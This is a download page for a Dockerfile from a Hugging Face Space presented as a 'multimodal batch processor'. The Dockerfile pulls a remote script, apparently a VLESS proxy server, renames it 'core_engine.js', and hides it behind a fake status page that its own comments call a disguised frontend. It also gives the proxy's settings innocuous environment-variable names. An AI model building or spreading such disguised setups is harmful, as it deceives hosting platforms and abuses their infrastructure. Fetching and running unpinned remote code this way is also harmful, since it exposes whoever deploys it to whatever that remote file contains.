Download Dockerfile from popek298/multimodal-batch-processor-rxcupu: direct link, hf CLI and curl.
- Browser
- Download file 759 Bytes
-
https://huggingface.co/spaces/popek298/multimodal-batch-processor-rxcupu/resolve/main/Dockerfile
- Command line
-
hf download hf://spaces/popek298/multimodal-batch-processor-rxcupu/Dockerfile
-
curl -L -o Dockerfile https://huggingface.co/spaces/popek298/multimodal-batch-processor-rxcupu/resolve/main/Dockerfile
759 Bytes
| FROM node:18-slim | |
| WORKDIR /app | |
| RUN apt-get update && apt-get install -y wget && rm -rf /var/lib/apt/lists/* | |
| RUN npm init -y && npm install ws express | |
| # 下载并更名核心引擎 | |
| RUN wget -q -O core_engine.js https://raw.githubusercontent.com/yonggekkk/sb-nodejs/main/app.js | |
| # 创建伪装前端 | |
| RUN echo 'const express = require("express"); const app = express(); app.get("/", (req, res) => res.send("<h1>Multimodal Data Processor v2.0</h1><p>Status: Active</p><p>Worker ID: rxcupu</p>")); app.listen(7860);' > frontend.js | |
| # 启动脚本:映射环境变量并同时运行 | |
| RUN echo 'UUID=$SESSION_ID VLESS_WSPATH=$DATA_PATH PORT=7860 node core_engine.js & node frontend.js' > start.sh | |
| RUN chmod +x start.sh | |
| ENV PORT=7860 | |
| EXPOSE 7860 | |
| CMD ["sh", "start.sh"] | |